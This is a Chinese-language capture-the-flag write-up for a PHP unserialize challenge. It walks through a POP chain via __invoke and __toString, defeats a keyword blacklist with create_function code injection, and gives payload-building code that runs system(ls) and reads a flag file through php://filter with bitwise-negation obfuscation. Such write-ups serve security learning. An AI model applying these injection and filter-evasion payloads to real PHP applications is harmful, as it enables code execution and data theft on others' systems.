<?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } } class B{ public $func; public $arg; public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; //There is no code to print flag in flag.php $func('', $this->arg); } } public function __toString(){ $this->show(); return "<br>"."Nice Job!!"."<br>"; } } if(isset($_GET['pop'])){ $aaa = unserialize($_GET['pop']); $aaa(); } else{ highlight_file(__FILE__); } ?>
思路很明显,要执行B类中的show函数,来包含flag(但是它这个包含也不会输出,这里等会分析)
怎么执行是看A类
__invoke函数是调用A类时候会触发,调用A类,触发show方法,show方法输出 $var。
而让$var等于B类,B类中的__toString()方法会调用B的show函数
至于怎么调用A类,这里传入pop参数,反序列化后,原代码会调用pop反序列化
那么下面就是分析如何反序列化到A类的show方法时能够包含
public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; //There is no code to print flag in flag.php $func('', $this->arg); } }
先看正则表达式,前面是$func不能是开头到结尾纯数字字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号
这里很好绕过,比如var_dump含有一个_即可绕过。或者开头换行符号都可以
后面是$arg过滤了一大堆东西,
都满足就会包含flag.php,但没啥用,因为没输出。同时会把$当作函数名,传入两个参数,一个是空字符串,一个是$arg
既然包含没用,不如从后面函数执行想办法,首先这个函数是要有两个参数,还能任意命令执行的
这里对着手册很快能找到函数create_function,传入
return(1);}任意代码;//
}会和前面{闭合,后面注释符号会注释后面的{,实现执行任意代码(一开始用/*注释,但是被过滤了)
$a = new A; $b = new B; $b->func="create_function"; $b->arg='return(1);}system(ls);//';; $a->var=$b; $ser = serialize($a); echo $ser;
构造如上代码
看到tru3flag.php猜测这个是真flag
但是过滤有很多,单双引号,flag,小数点全过滤了,这里用到取反
但是还有一个问题是取反后的符号大多数不可打印符号,不方便复制get传入,因此要对他进行url编码
$ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')); $at='return(1);}require(~('.strval($ac).'));//'; $a = new A; $b = new B; $b->func="create_function";; $b->arg=$at; $a->var=$b; $ser = serialize($a); //echo $ser; echo urlencode($ser);
这里用伪协议读取php内容